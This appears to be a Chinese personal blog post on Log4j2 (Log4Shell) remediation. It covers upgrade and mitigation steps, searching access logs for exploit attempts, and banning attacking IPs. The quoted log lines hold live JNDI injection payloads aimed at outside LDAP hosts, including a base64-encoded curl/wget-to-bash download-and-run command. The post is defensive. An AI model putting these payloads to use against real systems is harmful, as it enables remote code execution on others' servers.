前言

Log4j2漏洞事件已经过去了几个月，影响面可以说是非常的广。本质上还是权限和代码注入问题，这里就不作赘述，和SQL注入在原理和形式上都异曲同工。

我个人没太明白还是，如此流行的开源库，竟然开发者和使用者这么久都没发现这个巨大漏洞（可能早有人发现但并未公布），而且作为一个日志记录工具，权限未免太高。

修复

从互联网上可以查到最新的修复建议：

  1. 升级到最新版本：

    目前官方已推出最新Apache log4j 2.15.0版本，可从地址中下载升级：https://logging.apache.org/log4j/2.x/download.html

  2. 缓解措施：

（1）添加jvm启动参数 -Dlog4j2.formatMsgNoLookups=true

（2）在应用程序的classpath下添加log4j2.component.properties配置文件文件，文件内容：log4j2.formatMsgNoLookups=True

（3）移除log4j-core包中JndiLookup 类文件，并重启服务

具体命令：zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

（4）建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本

（5）限制受影响应用对外访问互联网

（6）禁用JNDI。如在spring.properties里添加spring.jndi.ignore=true

（7）采用其他防护措施，更新WAF、RASP规则等

排查

其实在引起轩然大波之前，并没有多少人去尝试利用这个漏洞攻击别人的服务器，反倒是现在，一些阿猫阿狗也开始作妖。

我们直接查询HTTP服务的access日志，就能知道是不是有人试图攻击你的小破站了：

1
cat access.log | grep jndi

好家伙，非常多，这里只列几个来示例：

1
2
3
4
5
6
7
8
9
10
195.54.160.149 - - [24/Dec/2021:14:22:15 +0800] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xLjE0LjY3LjEzODo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8xLjE0LjY3LjEzODo4MCl8YmFzaA==} HTTP/1.1" 200 1307
221.199.187.100 - - [24/Dec/2021:21:01:54 +0800] "GET /${jndi:ldap://121.140.99.236:1389/Exploit} HTTP/1.1" 404 196
195.54.160.149 - - [25/Dec/2021:11:07:24 +0800] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xLjE0LjY3LjEzODo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8xLjE0LjY3LjEzODo4MCl8YmFzaA==} HTTP/1.1" 200 1307
170.210.45.163 - - [26/Dec/2021:08:32:29 +0800] "GET /${jndi:ldap://121.140.99.236:1389/Exploit} HTTP/1.1" 404 196
195.54.160.149 - - [27/Dec/2021:03:06:53 +0800] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xLjE0LjY3LjEzODo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8xLjE0LjY3LjEzODo4MCl8YmFzaA==} HTTP/1.1" 200 1307
175.6.210.66 - - [31/Dec/2021:00:53:40 +0800] "GET /${jndi:ldap://121.140.99.236:1389/Exploit} HTTP/1.1" 404 196
78.31.67.151 - - [09/Jan/2022:11:12:08 +0800] "POST /register?username=$%7Bjndi:ldap://78.31.67.151:1389/nuzomt%7D HTTP/1.1" 404 196
78.31.67.151 - - [09/Jan/2022:11:12:09 +0800] "GET /register?id=$%7Bjndi:ldap://78.31.67.151:1389/nuzomt%7D HTTP/1.1" 404 196
78.31.67.151 - - [09/Jan/2022:11:12:27 +0800] "POST /register?username=$%7Bjndi:ldap://78.31.67.151:1389/khslv8%7D HTTP/1.1" 404 196
78.31.67.151 - - [09/Jan/2022:11:12:28 +0800] "GET /register?id=$%7Bjndi:ldap://78.31.67.151:1389/khslv8%7D HTTP/1.1" 404 196

天南海北的IP地址，我真是谢谢你们光顾啊。

由于我的服务器并没有运行什么复杂的Web应用，所以问题应该不大，不然我估计连ssh都登不进去了。

  1. 不过，我们还是要排查一下现状，先检查项目依赖库有没有log4j2，版本是否更新到了修复版本。我的项目都是个人开发的小玩意，所以没用到这个玩意。
  2. 到关键目录中检索jar包，尤其是基于Java开发的，比如Apache HTTP目录、Tomcat目录以及一些自定义的正在运行的Java程序：
1
2
3
4
# 大概看下有哪些进程
ps -ef | grep java
# 到关键目录下直接find库包，一旦发现散落的jar，要么更新要么删里面的漏洞class
find . -name "log4j*"
  1. 通过上述的access访问日志，看看哪些疯子在高频攻击，直接把IP或者IP段给ban了，让他搁这儿装逼：
1
2
3
4
5
6
# 如果用的是比较老的系统，比如Ubuntu 16.04之类的，多半还是iptables
iptables -I INPUT -s 78.31.67.151 -j DROP

# 如果是用的防火墙，比如CentOS 7上面
firewall-cmd --zone=public --add-rich-rule 'rule family="ipv4" source address="78.31.67.151" reject' --permanent
firewall-cmd --reload
  1. 如果你还是不安心，先关机吧哈哈哈，断网才是终极大法，反正是个人网站。避避风头，把修复措施研究透彻，保证漏洞完全无法复现，再开机。